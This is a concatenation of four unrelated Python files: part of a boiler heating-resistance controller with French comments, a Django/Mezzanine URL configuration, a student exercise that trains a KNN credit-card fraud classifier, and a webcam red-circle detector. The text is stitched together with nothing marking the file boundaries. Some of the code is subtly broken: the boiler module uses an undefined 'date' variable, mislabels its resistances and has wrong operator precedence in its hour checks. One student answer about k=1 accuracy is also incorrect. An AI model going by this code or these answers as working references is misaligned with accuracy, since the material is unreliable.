        Resistance1_P = 1500
        Resistance2_P = 1500
        Resistance1_Conso = 0
        Resistance2_Conso = 0
        Resistance2 = False
        Percent_R2 = 0
        Percent_R1 = 0
        delta = 0

        # ENTRER
        date = datetime.now()
        date_range = date + timedelta(minutes=1)

        if date.hour >= 21 or date.hour < 8:
            print("SAVE MODE >= 21 hours dans < 8 hours")

        #ENTRER
        if (temperature2 < 40 and (temperature1 >= 40)) or (temperature2 < 40 and self.sonde2["moyenne"] == 0):
            if date.hour >= 21 or date.hour < 8:
                Percent_R2 = self.AjustPercent(temperature2, 35, 10, "temp1", test)
            else:
                Temp_R2 = self.AjustPercent(temperature2, 40, 7, "temp1", True)
                if abs(temperature2-temperature1) >= 10 or Temp_R2 >= 30:
                    Percent_R2 = self.AjustPercent(temperature2, 40, 7, "temp1", test)
                else:
                    Percent_R2 = self.AjustPercent(temperature2, 35, 10, "temp1", test)

            if Percent_R2 != 0 and test == False:
                Resistance2 = True
                db_save = db.Ballon1.create(date=date, resistance=Percent_R2, watt=round((Percent_R2/100*Resistance2_P)))
                db_save.save()
                print("Resistance 1 Entrer - Turn On {} - conso: {} - {}%".format(temperature2, round(Percent_R2/100*Resistance2_P), Percent_R2))
                #PWMControl.control(1, Percent_R2)

        # SORTIE
        # SOIR R2 OFF
        if date.hour >= 21 or date.hour < 8 and Resistance2 == False:
            Percent_R1 = self.AjustPercent(temperature1, 44, 5, "temp2", test) # jusqu'a 39

        # SOIR R2 ON
        elif  date.hour >= 21 or date.hour < 8 and Resistance2 == True:
            Percent_R1 = self.AjustPercent(temperature1, 44, 5, "temp2", test) # jusqu'a 39
            if Percent_R1 > 0:
                Percent_R1 = Percent_R1-5

        # journee R2 ON
        elif (date.hour < 21 or date.hour >= 8) and Resistance2 == True:
            Percent_R1 = self.AjustPercent(temperature1, 50, 5, "temp2", test) # jusqu'a 40

        # journee R2 OFF
        elif (date.hour < 21 or date.hour >= 8) and Resistance2 == False:
            Percent_R1 = self.AjustPercent(temperature1, 50, 7, "temp2", test)

        # mise en marche
        if temperature1 < 50 and test == False:
            Resistance1 = True
            if Percent_R1 != 0:
                db_save = db.Ballon2.create(date=date, Sonde_haut=self.sonde1['haut']['temp'], Sonde_bas=self.sonde1['bas']['temp'], moyenne_temperature=temperature1, resistance=Percent_R1, watt=round((Percent_R1/100*Resistance1_P)))
                db_save.save()
                print("Resistance 2 Sortie - Turn On {} - conso: {} - {}%".format(temperature1, round(Percent_R1/100*Resistance1_P),  Percent_R1))
                #PWMControl.control(2, Percent_R1)

        return Percent_R2, Percent_R1

    def resistance_db(self, R1=0, R2=0):
        if R1 == 0:
            db_save = db.Ballon1.create(date=date, resistance=0, watt=0)
            db_save.save()

        if R2 == 0:
            db_save = db.Ballon2.create(date=date, resistance=0, watt=0)
            db_save.save()

if __name__ == "__main__":
    boiler = Boiler_Ariston(turn_off)

    boiler.security(msg="STOP FORCED")

    sonde1 = boiler.sonde1
    sonde2 = boiler.sonde2

    if debug:
        debug_table_data = [
            ['          SORTIE', '         ENTRER'],
            ["Sonde 1 - Haut {}°C ({})".format(sonde1['haut']['temp'], sonde1['haut']['resistance']), "Sonde 2 - Haut {}°C ({})".format(sonde2['haut']['temp'], sonde2['haut']['resistance'])],
            ["Avg Temp Sonde 1: {}°C".format(round(sonde1['moyenne'], 1)), "Avg temp Sonde 2: {}°C".format(round(sonde2['moyenne'], 1))],
            ["Sonde 1 - Bas {}°C ({})".format(sonde1['bas']['temp'], sonde1['bas']['resistance']), "Sonde 2 - Bas {}°C ({})".format(sonde2['bas']['temp'], sonde2['bas']['resistance'])]
        ]
        debug_table = AsciiTable(debug_table_data)
        print(debug_table.table)

    else:

        moyenne = round((round(sonde1['moyenne'],1) + round(sonde2['moyenne'],1)) / 2,1)
        nb_moyenne = round((round(sonde2['moyenne'],1) - round(sonde1['moyenne'],1)),1)

        table_data = [
            ["Sonde 1: {}°C".format(round(sonde1['moyenne'], 1)), "{}°C ({})".format(moyenne, nb_moyenne), "Sonde 2: {}°C".format(round(sonde2['moyenne'], 1))],
        ]
        now = datetime.now()
        dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
        table = tabulate(table_data, headers=["SORTIE","<---------", "ENTRER"], tablefmt="pretty")
        print('*{}Chauf Eau 2.0   {}       *'.format(" "*10, dt_string))
        print(table)

        if boiler.turn_off is True:
            print("Switch power off boiler is disabled")
            boiler.resistance_db()
            exit(0)

        R1, R2 = boiler.SetResistance(round(sonde1['moyenne'], 1), round(sonde2['moyenne'], 1))
        boiler.resistance_db(R1, R2)

    print()
    exit(0)


from django.conf.urls import include, url
from django.conf.urls.static import static
from django.contrib import admin
from django.views import generic

import mezzanine
from mezzanine.conf import settings

admin.autodiscover()

urlpatterns = [
    url(
        r'^contacts/',
        generic.TemplateView.as_view(template_name='contact_form.html')
    ),
    url(r'^admin/', include(admin.site.urls)),
    # url(r'^blog/', include('blog.urls')),
    url(r'^sample_1/', include('sample_1.urls')),
    url(r'^sample_2/', include('sample_2.urls')),
    url(r'^sample_3/', include('sample_3.urls')),
    url(r'^$', mezzanine.pages.views.page, {'slug': '/'}, name='home'),
    url('^', include('mezzanine.urls')),
]

if settings.TEMPLATE_DEBUG:
    urlpatterns += [
        url(
            r'^404.html$',
            generic.TemplateView.as_view(template_name='404.html')
        ),
        url(
            r'^500.html$',
            generic.TemplateView.as_view(template_name='500.html')
        ),
    ]

urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)

handler404 = "mezzanine.core.views.page_not_found"
handler500 = "mezzanine.core.views.server_error"


'''
The goal of this case is training a classifier to detect fraudulent transactions for credit card data.
More information of the case can be found in the pdf on leho.

Firstly we import some packages
'''

# Importing some packages
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from sklearn.neighbors import KNeighborsClassifier
from sklearn.preprocessing import MinMaxScaler
from sklearn.preprocessing import LabelEncoder
from sklearn.metrics import confusion_matrix, classification_report

from sklearn.utils import shuffle

'''
The full creditcard dataset is avaiable.
The data is present in src -> data_ex.
read in 'creditcard.csv' and check what collumns you have and their datatypes.
Print the first 5 rows of the dataframe.
'''

creditcard_data = pd.read_csv("creditcard.csv")
print(creditcard_data.dtypes)
print(creditcard_data.head())

'''
Drop the two collumns 'Index' and 'Time' and store your result.
Check if you succeeded by displaying the resulting dataframe.
'''
creditcard_data.reset_index(drop=True, inplace=True)
df = creditcard_data.drop("Time", 1)
print(df.head())

'''
This dataset was partly anonimized, only the collumns Time and amount are original.
Looking at the resulting dataframe of the previous codeblock:

Is there any categorical/numerical data ? The class column is categorical

What preprocessing can we do to this dataset ? We have to split our dataset into attributes and labels

After answering these questions for yourself,
make a decision for your preprocessing step and execute this on the resulting dataframe of the previous codeblock.

Note : Preprocessing functions from scikit-learn usually return a numpy array.
       You can put the result back into a pandas dataframe and don't forget to add column names.
'''

headers = list(df)
attributes = df.iloc[:, :-1].values
labels = df.iloc[:, 29].values

classes = df['Class']

df = df.drop(['Class'], axis=1)

scaler = MinMaxScaler(feature_range=(0, 1))
df = pd.DataFrame(scaler.fit_transform(df))
df['Class'] = classes
df.columns = headers

print(df.head())

'''
It's best practice to randomly shuffle the rows of a dataset. Scikit-learn has all sorts of usefull
preprocessing functions. In the code below the function shuffle is used. Everytime it's called it returns a randomly
shuffle dataset. You can adapt 'df' in the code below if needed.

Note: The shuffle function will return a pandas dataframe if a pandas dataframe is given.
'''

df = shuffle(df)

'''
The 'Class' collumn of the dataframe contains the labels. The value 1 indicates fraud, 0 normal transactions.
This collumn can be used to filter the dataframe df into two parts.
Filter the dataset and store them into two dataframes: df_normal and df_fraud.
'''

df_normal = df.loc[df['Class'] == 0]
df_fraud = df.loc[df['Class'] == 1]

'''
We will use a part of the data for training and a part for testing.
A good split of training and test data is a 70%/30% split.

The first 70% of df_normal and df_fraud should be stored in df_train
The last 30% should be stored in df_test.

Note : You can use pd.concat() to stick together dataframes.
'''

df_train = pd.concat([df_normal.head(int(len(df_normal)*(70/100))), df_fraud.head(int(len(df_fraud)*(70/100)))])
df_test = pd.concat([df_normal.tail(int(len(df_normal)*(30/100))), df_fraud.tail(int(len(df_fraud)*(30/100)))])

'''
We will use the K-nearest neighbour algorithm.
See: http://scikit-learn.org/stable/modules/generated/sklearn.neighbors.KNeighborsClassifier.html

You should try out different values for 'n_neighbors', 'weights', 'p', 'metric'.
Stick to the rule of thumb to start with simple KNN parameters. Improve accuracy by trying out different parameters.

The explanation for n_neighbors, weights and metric should be clear from the slides.

The parameter 'p' relates to one specific metric family, the 'minkwoski' metric.
setting p=1,2,3 gives different metrics if metric='minkowski'. This is the default value for the metric argument

Setting the argument 'n_jobs=-1' will use all of your cpu cores. This gives you faster results but make sure you don't
have any other heavy applications open while running the code with this option.

So make a KNN object now starting with some simple arguments and store it.
'''

classifier = KNeighborsClassifier(n_neighbors=1, p=2, n_jobs=-1, metric='minkowski', weights='distance')

'''
Use the KNN model to train on the df_train dataset.
The function for training expects two arguments:  a dataframe and labels.
Make sure the dataframe you pass into the function doesn't contain the collumn for labels.
'''

x_train = pd.DataFrame(df_train.iloc[:, :-1].values)
y_train = pd.DataFrame(df_train.iloc[:, 29].values)

classifier.fit(x_train, y_train)

'''
Using the trained KNN, predict on the test dataset and store the results.
'''

x_test = pd.DataFrame(df_test.iloc[:, :-1].values)
y_test = pd.DataFrame(df_test.iloc[:, 29].values)

y_pred = classifier.predict(x_test)

'''
It's time to make a visualization of the results. We will compare the results of the prediction versus the ground
truth of the labels.

1) Make two arrays of size of test dataset.
One has values from 0 to size of test dataset. Second array has integer values '1' .

2) Make a boolean array that is true for fraud rows of the test dataset and false otherwise.

3) Make two scatter plots. A scatter plot of matplotlib expects two numpy arrays. One for the x-values and one for
   the y-values. For an example of this look at 'src->case->graph.jpg'.
   - Make one scatter plot with points y = 1 and the other with y= 1.5
   - Only the predicted fraud points should be plotted. plot these for y=1 . For the plot with y=1.5 plot points
     with label fraud.
   - Give the predicted fraud points the color red. Give the labeled fraud points the color yellow.
   - give arguments: 'marker', 's (=point size)', 'label'. To both scatter plots.
   - give the plot a title, show the labels and set a ylim such that all points can be seen.

   => show the plot and check if everything is as expected.
'''

arr1 = np.arange(x_test.shape[0])
arr2 = np.ones(x_test.shape[0])

class_df_testing_row = y_test.iloc[:, -1].values
boolArr = [0] * len(class_df_testing_row)

for i in range(0, len(boolArr)):
    if round(class_df_testing_row[i]) == 1:
        boolArr[i] = True
    else:
        boolArr[i] = False

predicted_fraud_points = []
for i in range(0, len(y_pred)):
    if round(y_pred[i]) == 1:
        predicted_fraud_points.append(i)

y_vals = [1] * len(predicted_fraud_points)
plt.scatter(x=predicted_fraud_points, y=y_vals, c="red", marker="D", label="Predicted as Fraud")

label_fraud_points = []
for i in range(0, len(y_pred)):
    if boolArr[i] == 1:
        label_fraud_points.append(i)

y_vals = [1.5] * len(label_fraud_points)
plt.scatter(x=label_fraud_points, y=y_vals, c="yellow", marker="D", s=5, label="Fraud")

plt.title("Predicted and Fraud")
plt.ylim(0.5, 2)
plt.legend()
plt.show()

'''
Calculate the confusion matrix.
Since we have only two classes for this classifier problem the matrix will be of shape = (2,2).

Determine 'True Positives', 'True negatives','False positives','False negatives' for this matrix.
Make a dictionary of these four values and store it. display the dictionary.

repeat the process of changing KNN-parameters and producing results to improve your algorithm.
At most there should be 50 missclassified data points.

Note: The order of the collumns can be set for the confusion_matrix.
      Make sure to set these, because the first value encountered will be set as first collumns.
      This will be random depending on the shuffling of the dataset!
'''

print(confusion_matrix(y_test, y_pred))
print(classification_report(y_test, y_pred))

'''
Provide following plots and answer the questions in the comment block below:

- The plots of your best and second best parameter choice. You can save the plot by right-clicking on it
  (see plot_save.jpg).

Questions:
1) Data reading: After dropping the collumns 'Index' and 'Time', what collumns do we have left?
2) Data preprocessing: We've dropped the collumn 'Time'. What information do you lose when doing this?
If we keep the 'Time' and shuffle the dataset what information do we lose ?
3) KNN object: Give the parameters that give the best and second best results for you.
4) Prediction: If we train on the entire dataset (with k=1) and tried to make predictions on points within
our dataset, what prediction accuracy would we have ?
5) copy the printout of the dictionary with confusion matrix values, for your best and second best results.
'''

'''
1) V1-V28, Amount & Class
2) We lose the order of transactions but this shouldn't matter.
3) n_neighbors=7, p=2, metric='minkowski', weights='distance'
4) The prediction accuracy is lower as we use less neighbours to compare against to.
5)

BEST:
[[85283    11]
 [   44   103]]

2nd BEST:
[[85282    12]
 [   35   112]]

'''


import cv2
import numpy as np
import peqnp as pn

# demo: https://youtu.be/uDWaY742-K8
# ref: https://stackoverflow.com/questions/38827505/detecting-colored-circle-and-its-center-using-opencv

def distance(seq):
    global cir_cen
    return sum(np.linalg.norm(np.asarray(cir_cen[seq[i - 1]]) - np.asarray(cir_cen[seq[i]])) for i in range(len(seq)))

if __name__ == '__main__':
    cir_cen = []

    cap = cv2.VideoCapture(0)
    if cap.isOpened():
        while True:
            ret, frame = cap.read()

            frame_gau_blur = cv2.GaussianBlur(frame, (3, 3), 0)

            hsv = cv2.cvtColor(frame_gau_blur, cv2.COLOR_RGB2HSV)

            lower_red = np.array([0, 140, 140])
            higher_red = np.array([255, 255, 255])

            red_range = cv2.inRange(hsv, lower_red, higher_red)
            res_red = cv2.bitwise_and(frame_gau_blur, frame_gau_blur, mask=red_range)
            red_s_gray = cv2.cvtColor(res_red, cv2.COLOR_RGB2HSV)
            canny_edge = cv2.Canny(red_s_gray, 50, 240)

            circles = cv2.HoughCircles(canny_edge, cv2.HOUGH_GRADIENT, dp=1, minDist=10, param1=10, param2=20, minRadius=1, maxRadius=120)

            cir_cen.clear()
            if circles is not None:
                for i in circles[0, :]:
                    cv2.circle(frame, (i[0], i[1]), 3, (0, 0, 255), 3)
                    cir_cen.append((i[0], i[1]))
                if len(cir_cen) >= 3:
                    seq = pn.hess_sequence(len(cir_cen), oracle=distance, fast=False)
                    for i in range(len(cir_cen)):
                        cv2.line(frame, cir_cen[seq[i - 1]], cir_cen[seq[i]], (0, 255, 0), 3)
            cv2.imshow('circles', frame)
            k = cv2.waitKey(5) & 0xFF
            if k == 27:
                break